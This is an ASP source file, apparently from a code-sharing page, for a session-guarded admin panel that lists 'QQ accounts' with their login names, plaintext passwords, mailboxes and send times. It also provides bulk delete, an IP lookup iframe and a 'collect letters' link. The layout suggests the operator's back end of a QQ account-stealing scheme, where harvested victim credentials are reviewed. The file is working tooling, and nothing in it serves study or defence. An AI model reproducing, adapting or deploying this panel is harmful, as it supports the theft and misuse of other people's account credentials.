📄 adminmain.asp
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
if session("admin") = "" then%>
<script language=vbscript>
alert ("系统超时或验证错误,请重新登陆!")
location.href = "index.asp"
</script>
<%
End if
%>
<title>管理界面</title>
<link rel="stylesheet" type="text/css" href="main.css">
</head>
<body bgcolor="#FFD89D" topmargin="2">
<!--#include file="conn.asp"-->
<!--#include file="Search.asp"-->
<!--#include file="pageCls.asp"-->
<%
const MaxPerPage=15
dim totalPut
dim CurrentPage
dim TotalPages
dim i,j
dim idlist
dim title,scname
scname=Request.ServerVariables("SCRIPT_NAME")
title=request("txtitle")
if not isempty(request("page")) then
currentPage=cint(request("page"))
else
currentPage=1
end if
if not isempty(request("selAnnounce")) then
idlist=request("selAnnounce")
if instr(idlist,",")>0 then
dim idarr
idArr=split(idlist)
dim id
for i = 0 to ubound(idarr)
id=clng(idarr(i))
call deleteannounce(id)
next
else
call deleteannounce(clng(idlist))
end if
end if
%>
<p align="center">
<table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#FFD89D">
<tr>
<td height="20" colspan="10" align="center">
<div id="bodyframe" style="VISIBILITY: hidden">
<IFRAME frameBorder=0 id=heads src="IP.asp" style="HEIGHT: 78px; LEFT: 250px; POSITION: absolute; TOP: 0px; WIDTH: 55%"></IFRAME>
</div>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#FFD89D">
<form name="form1" method="get" action="">
<tr>
<td height="20" colspan="10" align="center">帐号查询:
<input name="txtSearch" type="text" size="30" class="box">
<input type="submit" name="Submit" value="开始搜索" class="btn">
</td>
</tr>
</form>
</table>
<table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#FFD89D">
<tr>
<td align=right width=80%>
<div onClick="document.all.bodyframe.style.visibility='visible'" style="cursor: hand;"><font color="#000000">[IP查询]</font></div>
</td>
<td align=right width=10%>
<div onClick="document.all.bodyframe.style.visibility='hidden'" style="cursor: hand;"><font color="#000000">[关闭查询]</font></div>
</td>
<td align=right width=10%>
<a href="adminmain.asp">[收取信件]</a></font></strong>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#FFD89D">
<form name="form2" method="post" action="">
<table width="100%" border="0" cellpadding="1" cellspacing="1" bgcolor="#FFD89D">
<tr>
<td height="20" colspan="10" align="center" bgcolor="#FFC671"><strong><font color="#000000">QQ帐号列表</font></strong></td>
</tr>
<%
dim mypage
Set Rs=Server.createobject("adodb.recordset")
Set mypage=new pageShow '创建对象
mypage.getconn=conn '得到数据库连接
mypage.GetSQL=Sql
mypage.pagesize=15
mypage.ListNum=20
Set Rs=mypage.GetRs()
If mypage.isReady then
%>
<tr bgcolor="#FFFBEF">
<td height="20" colspan="10"><% mypage.pageNav()%></td>
</tr>
<tr align="center" bgcolor="#FFF8EC">
<td width="5%"><font color="Red"><STRONG>ID</STRONG></font></td>
<td width="15%"><font color="Red">登陆帐号</font></td>
<td width="15%"><font color="Red">登陆密码</font></td>
<td width="20%"><font color="Red">邮箱帐号</font></td>
<td width="20%"><font color="Red">发送时间</font></td>
<td width="20%"><font color="Red">更新时间</font></td>
<td width="5%"><font color="Red"><input type='submit' class=buttonface value='删 除'></font></td>
</tr>
<%
For i=1 To mypage.pagesize
If Rs.eof Then Exit For
id=rs("id")
bcolor="#FFF8EC"
%>
<tr align="center" bgcolor="<%=bcolor%>">
<td><%=rs("ID")%></td>
<td><%=rs("User")%></td>
<td><%=rs("Pass")%></td>
<td><%=rs("mail")%></td>
<td><%=rs("logdate")%></td>
<td><%=rs("Time")%></td>
<td width="52" bgcolor="#FFF8EC">
<input type='checkbox' name='selAnnounce' value='<%=cstr(rs("ID"))%>'>
</td>
</tr>
<tr>
<td height="20" colspan="10" align="center" bgcolor="#FFF8EC"><font color="#000000"><%=rs("Role")%></font></td>
</tr>
<%
Rs.movenext
Next
%>
<tr bgcolor="#FFFBEF">
<td height="20" colspan="10"><% mypage.pageNav()%></td>
</tr>
<%
sub deleteannounce(id)
dim rs,sql
set rs=server.createobject("adodb.recordset")
sql="delete from list where id="&cstr(id)
conn.execute sql
if err.Number<>0 then
err.clear
response.write "删除用户失败!<br>"
else
response.write "删除用户成功!<br>"
end if
End sub
%>
<%
Else
response.Write("<tr align='center'><td height='20'>对不起没有找到符合要求的帐号</td></tr>")
End If
Set Rs=Nothing
Set mypage=Nothing
conn.close
Set conn=nothing
%>
</table>
</form>
</table>
</p>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -